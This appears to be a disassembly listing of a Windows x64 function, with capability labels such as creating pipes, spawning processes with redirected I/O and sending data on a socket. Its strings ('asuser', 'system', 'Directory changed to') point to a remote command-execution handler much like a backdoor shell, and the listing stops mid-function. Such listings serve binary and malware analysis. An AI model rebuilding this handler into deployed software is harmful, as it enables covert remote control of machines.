Function at 0x140003680
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create two anonymous pipes
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x78], rax
mov r15, rdx
mov rbx, rcx
xor r12d, r12d
mov qword [rbp - 0x70], 0x18
mov qword [rbp - 0x60], 1
mov qword [rbp - 0x68], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
mov dword [rbp - 0x50], 0x68
psrldq xmm0, 0xc
movd eax, xmm0
or eax, 0x101
mov dword [rbp - 0x14], eax
mov word [rbp - 0x10], r12w
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x78], r12
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140003dfd
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140003dfd
mov rax, qword [rsp + 0x70]
mov qword [rbp + 8], rax
mov rax, qword [rsp + 0x78]
mov qword [rbp + 0x10], rax
mov r10, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140003781
mov r10, qword [rbx]
mov r11, 0xffffffffffffffff
cmp qword [rbx + 0x10], 6
jb 0x1400037dc
mov r8, r10
lea rdi, str.asuser
nop dword [rax]
cmp word [r8], 0x61
jne 0x1400037d1
mov edx, 6
mov rcx, rdi
mov r9, r8
sub r9, rdi
movzx eax, word [r9 + rcx]
cmp ax, word [rcx]
jne 0x1400037d1
add rcx, 2
sub rdx, 1
jne 0x1400037b5
sub r8, r10
sar r8, 1
jmp 0x1400037df
cmp r8, r10
je 0x1400037dc
sub r8, 2
jmp 0x1400037a0
mov r8, r11
mov rax, qword [rbx + 0x10]
test r8, r8
jne 0x14000394a
cmp rax, 6
je 0x1400038ad
mov rcx, rbx
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x140003806
mov rcx, qword [rbx]
cmp word [rcx + 0xc], 0x20
jne 0x1400038ad
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
cmp rax, 7
jb 0x140003e3e
add rax, 0xfffffffffffffff9
cmp rax, r11
cmovb r11, rax
cmp rdx, 7
jbe 0x14000383e
mov rbx, qword [rbx]
lea rdx, [rbx + 0xe]
mov r8, r11
lea rcx, [rbp + 0x40]
call fcn.140008460
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x40]
call fcn.140003430
movzx ebx, al
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140003ab7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ab2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Incorrect_command_format_after_asuser._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x28
lea rdx, str.Incorrect_command_format_after_asuser.
lea rcx, [rbp + 0x20]
call fcn.140008830
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
xor r9d, r9d
mov r8d, dword [rbp + 0x30]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140003e10
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003940
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
jmp 0x140003e10
mov r10, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140003957
mov r10, qword [rbx]
cmp rax, 6
jb 0x140003d66
mov r8, r10
lea rdi, str.system
nop dword [rax + rax]
cmp word [r8], 0x73
jne 0x140003aa0
mov edx, 6
mov rcx, rdi
mov r9, r8
sub r9, rdi
nop dword [rax]
movzx eax, word [r9 + rcx]
cmp ax, word [rcx]
jne 0x140003aa0
add rcx, 2
sub rdx, 1
jne 0x140003990
sub r8, r10
cmp r8, 2
jae 0x140003d66
mov rax, qword [rbx + 0x10]
cmp rax, 6
je 0x140003ccb
mov rcx, rbx
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x1400039d3
mov rcx, qword [rbx]
cmp word [rcx + 0xc], 0x20
jne 0x140003ccb
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
cmp rax, 7
jb 0x140003e38
add rax, 0xfffffffffffffff9
cmp rax, r11
cmovb r11, rax
cmp rdx, 7
jbe 0x140003a0b
mov rbx, qword [rbx]
lea rdx, [rbx + 0xe]
mov r8, r11
lea rcx, [rbp + 0x40]
call fcn.140008460
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rdx, qword [rbp + 0x40]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebx, eax
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140003ab7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ab2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp r8, r10
je 0x140003d66
sub r8, 2
jmp 0x140003970
call fcn.14000ea70
test ebx, ebx
jne 0x140003c88
lea rdx, str.CreateProcess_failed__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140011f10]
call fcn.140007830
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.1400073e0
nop
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
mov r14d, socket
lea rdi, str.CreateProcess_failed:
cmp rax, r14
jb 0x140003ba6
lea rax, [r8 + 0x16]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x50]
lea rax, [0x140011f5e]
cmp rax, rbx
jbe 0x140003b69
lea rax, [rbx + r8]
cmp rdi, rax
ja 0x140003b69
cmp rbx, rdi
ja 0x140003b61
mov rsi, r12
jmp 0x140003b6c
mov rsi, rbx
sub rsi, rdi
jmp 0x140003b6c
mov rsi, r14
inc r8
lea rcx, [rbx + 0x16]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r14, rsi
lea rdx, [rdi + 0x16]
add rdx, rsi
lea rcx, [rbx + rsi]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
jmp 0x140003bbd
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdi
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140009580
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003c2a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
xor r9d, r9d
mov r8d, dword [rbp + 0x30]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140003cb2
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
jmp 0x140003cb2
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9, r15
mov r8, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x60]
call fcn.140003130
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003e10
lea rdx, str.Incorrect_command_format_after_system._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x28
lea rdx, str.Incorrect_command_format_after_system.
lea rcx, [rbp + 0x20]
call fcn.140008830
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
xor r9d, r9d
mov r8d, dword [rbp + 0x30]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140003e10
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003940
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Unknown_command_prefix_or_incorrect_format._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x2b
lea rdx, str.Unknown_command_prefix_or_incorrect_format.
lea rcx, [rbp + 0x20]
call fcn.140008830
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
xor r9d, r9d
mov r8d, dword [rbp + 0x30]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140003e10
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003940
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Failed_to_create_pipes._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.14000e460
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140007380
int3
call fcn.140007380
int3
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x100
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov r12, rdx
mov qword [rsp + 0x58], rdx
xor r13d, r13d
mov dword [rsp + 0x30], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x98], xmm1
mov rax, qword [rcx + 0x10]
cmp rax, 3
jb 0x14000475e
add rax, 0xfffffffffffffffd
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
cmp qword [rcx + 0x18], 7
jbe 0x140003ecd
mov rcx, qword [rcx]
lea rdx, [rcx + 6]
lea rcx, [rsp + 0x88]
call fcn.140008460
mov r14d, 1
movups xmm0, xmmword [rsp + 0x88]
movups xmmword [rsp + 0xa8], xmm0
movups xmm1, xmmword [rsp + 0x98]
movups xmmword [rsp + 0xb8], xmm1
lea rdi, [rsp + 0xa8]
movq r10, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r11, xmm0
cmp r11, 7
cmova rdi, r10
movq rax, xmm1
lea rcx, [rax + rax]
lea rdx, [rcx + rdi]
sar rcx, 1
cmp rcx, 2
jl 0x140003f6b
mov eax, dword [rdi]
and eax, 0xffffffdf
sub eax, 0x3a0041
cmp eax, 0x1a
jae 0x140003f6b
cmp rcx, 3
jl 0x140003f7c
movzx eax, word [rdi + 4]
cmp ax, 0x5c
je 0x1400040c5
cmp ax, 0x2f
jne 0x140003f7c
jmp 0x1400040c5
mov rcx, rdi
call fcn.140001a20
cmp rdi, rax
jne 0x1400040c5
lea rdx, [0x1400190f8]
cmp qword [0x140019110], 7
cmova rdx, qword [0x1400190f8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov r8, qword [0x140019108]
lea rcx, [rsp + 0x88]
call fcn.140008460
mov dword [rsp + 0x30], 7
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x68]
call fcn.140006c20
mov dword [rsp + 0x30], send
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x68]
call fcn.140001b20
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xa8]
call fcn.140006b80
mov r14d, 7
mov rdx, qword [rsp + 0x80]
cmp rdx, 7
jbe 0x140004056
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004051
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004051
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
movdqa xmm0, xmmword [0x140012fa0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r13w
mov rdx, qword [rsp + 0xa0]
cmp rdx, 7
jbe 0x1400040b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
mov r10, qword [rsp + 0xa8]
mov r11, qword [rsp + 0xc0]
lea rcx, [rsp + 0xa8]
cmp r11, 7
cmova rcx, r10
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rsp + 0x88]
call fcn.14000df88
mov edx, eax
test eax, eax
jne 0x14000414d
mov edi, dword [rsp + 0x98]
test dil, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0xd4], ecx
bt edi, 0xa
jae 0x14000413e
mov eax, dword [rsp + 0x9c]
cmp eax, 0xa000000c
jne 0x140004130
mov edi, 4
mov eax, edi
jmp 0x140004179
cmp eax, 0xa0000003
jne 0x14000413e
mov eax, 0xa
jmp 0x140004174
movzx eax, dil
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x140004174
mov dword [rsp + 0xd4], 0xffff
sub eax, 2
je 0x14000416f
sub eax, 1
je 0x14000416f
sub eax, 0x32
je 0x14000416f
cmp eax, 0x46
mov eax, r13d
jne 0x140004174
mov eax, 1
mov edi, 4
mov dword [rsp + 0xd0], edx
lea r15, [0x1400190d8]
mov qword [rsp + 0xd8], r15
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xd0], xmm0
test eax, eax
je 0x140004637
cmp eax, 1
je 0x14000463f
lea rcx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 7
cmova rcx, qword [rsp + 0xa8]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rsp + 0x88]
call fcn.14000df88
mov edx, eax
test eax, eax
jne 0x14000421e
mov ecx, dword [rsp + 0x98]
bt ecx, 0xa
jae 0x140004211
mov eax, dword [rsp + 0x9c]
cmp eax, 0xa000000c
je 0x14000423a
cmp eax, 0xa0000003
jne 0x140004211
lea edi, [rdx + 0xa]
jmp 0x14000423a
mov edi, ecx
and edi, 0x10
or edi, 0x20
shr edi, 4
jmp 0x14000423a
sub eax, 2
je 0x140004235
sub eax, 1
je 0x140004235
sub eax, 0x32
je 0x140004235
cmp eax, 0x46
mov edi, r13d
jne 0x14000423a
mov edi, 1
test edx, edx
je 0x14000424c
lea eax, [rdi - 1]
test eax, 0xfffffff7
jne 0x140004764
cmp edi, 3
jne 0x14000463f
lea rcx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 7
cmova rcx, qword [rsp + 0xa8]
call fcn.14000e308
test eax, eax
jne 0x140004779
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x80], 7
mov word [rsp + 0x68], r13w
or r14d, 0x40
mov dword [rsp + 0x30], r14d
mov edx, 0x104
mov r9d, edx
lea rcx, [rsp + 0x68]
call fcn.140008a50
mov esi, dword [rsp + 0x78]
lea rdx, [rsp + 0x68]
cmp qword [rsp + 0x80], 7
cmova rdx, qword [rsp + 0x68]
mov ecx, esi
call fcn.14000df4c
mov rbx, rax
mov qword [rsp + 0xd0], rax
mov ecx, eax
mov r8, qword [rsp + 0x78]
cmp rcx, r8
ja 0x14000430c
mov qword [rsp + 0x78], rcx
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x80], 7
cmova rax, qword [rsp + 0x68]
mov word [rax + rcx*2], r13w
jmp 0x140004364
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rsp + 0x80]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140004357
mov qword [rsp + 0x78], rcx
lea r9, [rsp + 0x68]
cmp rdi, 7
cmova r9, qword [rsp + 0x68]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x14000434c
movzx eax, r13w
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], r13w
jmp 0x140004364
mov r9, rdx
lea rcx, [rsp + 0x68]
call fcn.140008a50
cmp ebx, esi
jae 0x1400042b6
mov eax, dword [rsp + 0xd4]
mov dword [rsp + 0xd0], eax
mov qword [rsp + 0xd8], r15
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xd0], xmm0
and r14d, 0xffffffbf
or r14d, 0x20
mov dword [rsp + 0x30], r14d
test eax, eax
jne 0x140004790
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xd0]
call fcn.140006c20
mov rdx, qword [0x140019110]
cmp rdx, 7
jbe 0x1400043fc
mov rcx, qword [0x1400190f8]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400043f7
add rdx, 0x27
mov rdi, qword [rcx - 8]
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000445d
mov rcx, rdi
call fcn.14000ea70
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [0x1400190f8], xmm0
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [0x140019108], xmm1
mov rdx, qword [rsp + 0x80]
cmp rdx, 7
jbe 0x140004469
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004464
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004464
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000ea70
lea rdx, [0x1400190f8]
lea rcx, [rsp + 0x68]
call fcn.140002aa0
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x15
jb 0x140004519
lea rax, [r8 + 0x15]
mov qword [rdi + 0x10], rax
mov r14, rdi
cmp rcx, 0xf
jbe 0x1400044a9
mov r14, qword [rdi]
lea rax, [0x140011f75]
lea rsi, str.Directory_changed_to
cmp rax, r14
jbe 0x1400044dc
lea rax, [r14 + r8]
cmp rsi, rax
ja 0x1400044dc
mov ebx, socket
cmp r14, rsi
ja 0x1400044d4
mov r15, r13
jmp 0x1400044e4
mov r15, r14
sub r15, rsi
jmp 0x1400044e4
mov ebx, socket
mov r15d, ebx
inc r8
lea rcx, [r14 + 0x15]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, rsi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
sub rbx, r15
lea rdx, [rsi + 0x15]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000453c
mov ebx, socket
mov qword [rsp + 0x28], rbx
lea rsi, str.Directory_changed_to
mov qword [rsp + 0x20], rsi
mov edx, ebx
mov rcx, rdi
call fcn.140009580
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x98], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x88], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x98], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], send
mov byte [rdi], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x1400045bc
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400045b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rdx, qword [rsp + 0x88]
xor r9d, r9d
mov r8d, dword [rsp + 0x98]
mov rcx, qword [r12]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x140004632
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000462c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000462c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
nop
jmp 0x1400046e6
test edx, edx
jne 0x14000479e
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x98], xmm1
mov r8d, 0x18
lea rdx, str.Directory_does_not_exist
lea rcx, [rsp + 0x88]
call fcn.140008830
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rdx, qword [rsp + 0x88]
xor r9d, r9d
mov r8d, dword [rsp + 0x98]
mov rcx, qword [r12]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x1400046e6
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
nop
mov rdx, qword [rsp + 0xc0]
cmp rdx, 7
jbe 0x140004731
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000472c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000472c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.14000e460
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140007380
nop
lea r8, [rsp + 0xa8]
lea rcx, str.status
call fcn.140002760
nop
lea r8, [rsp + 0xa8]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.140002760
nop
lea rdx, [rsp + 0xd0]
call fcn.1400027d0
nop
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0xd0]
call fcn.140002830
int3
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rsi, rdx
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 3
cmp qword [rcx + 0x10], r8
cmovb r8, qword [rcx + 0x10]
mov rdx, rcx
cmp qword [rcx + 0x18], 7
jbe 0x140004e92
mov rdx, qword [rcx]
lea rcx, [rsp + 0x48]
call fcn.140008460
lea r8, [rsp + 0x48]
mov r9, qword [rsp + 0x48]
mov r10, qword [rsp + 0x60]
cmp r10, 7
cmova r8, r9
mov rdx, qword [rsp + 0x58]
cmp rdx, 3
jne 0x140004ee9
lea rcx, [0x140012048]
test rdx, rdx
je 0x140004ee4
sub r8, rcx
nop dword [rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140004ee9
add rcx, 2
sub rdx, 1
jne 0x140004ed0
mov dil, 1
jmp 0x140004eec
xor dil, dil
cmp r10, 7
jbe 0x140004f27
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140004f1f
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005016
mov rcx, r9
call fcn.14000ea70
test dil, dil
je 0x140004f48
mov rdx, rsi
mov rcx, rbx
